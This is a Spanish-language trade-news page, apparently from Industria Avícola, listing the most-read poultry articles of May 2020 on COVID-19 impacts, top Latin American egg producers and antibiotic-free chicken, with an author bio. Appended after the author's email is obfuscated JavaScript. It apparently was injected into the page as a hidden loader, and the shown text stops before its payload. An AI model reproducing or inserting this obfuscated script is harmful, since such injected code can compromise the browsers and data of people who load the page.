Las mayores empresas de pollo y huevo en Latinoamérica, y la autodeclaración de Pollos Eldorado como libre de antibióticos encabezan lo más leído del mes pasado.
Mayo de 2020 fue otro mes lleno de noticias relacionadas al COVID-19 y a lo que podría provocar en la industria avícola y otros sectores relacionados.
Sin embargo, otros artículos relacionados con la producción avícola en Latinoamérica, la declaración libre de antibióticos y la generación de energía alterna también se destacaron entre nuestros lectores.
Luego de dos años de desarrollo y aplicación de reemplazantes de promotores de crecimiento, esta avícola colombiana se promueve como la primera y única en ofrecer pollos libres de antibióticos no terapéuticos en este mercado suramericano.
En el 2019, el ‘top 10’ de productores de huevos provino de México, Brasil, Perú y Colombia. Conozca las cifras de cada empresa, según la base de datos de IndustriaAvicola.net.
Este conglomerado salvadoreño, que cría y procesa seis millones de pollos al año, inició la construcción de un avanzado complejo para el aprovechamiento sostenible de diversos desechos orgánicos.
La Federación Nacional de Avicultores de Colombia (Fenavi) publicó los resultados consolidados del sector durante el 2019 y las expectativas productivas previas al COVID-19. Se espera que los pronósticos del pollo terminen siendo los más desfasados a la baja.
La pandemia de COVID-19 tendrá probablemente un impacto significativo en la demanda global de carne de pollo, la capacidad de mantener al personal en operaciones y la cadena de suministro de alimentos en todo el mundo.
La medida preventiva se tomó con el fin de evitar mayores contagios entre operarios en el estado de Rio Grande do Sul y puede pasar lo mismo en Santa Catarina.
Además de ser el mayor productor de huevos en la región, México sigue siendo el rey en el consumo per cápita de huevo, con una de las cifras más altas en el mundo. Conozca el top 5.
Como en todo, la industria avícola ya presenta afectaciones por el COVID-19. “La contracción de la industria avícola es inminente porque una buena parte de la economía de los países latinoamericanos viene de las mipymes (micro, pequeñas y medianas empresas), empresas que hoy están totalmente cerradas”, expresó Luis Valle, presidente de la Asociación Latinoamericana de Avicultura (ALA), desde San Pedro Sula, Honduras, en teleconferencia con Industria Avícola.
Cindy Burgos Alvarado es editora asociada de la revista Industria Avícola, así como del sitio web www.industriaavicola.net. Es una periodista puertorriqueña con más de cinco años de experiencia realizando coberturas en temas políticos y económicos.
Posee una licenciatura en Información y Periodismo de la Universidad de Puerto Rico (UPR), con una segunda concentración en Sociología.
Puede contactarla a través de su correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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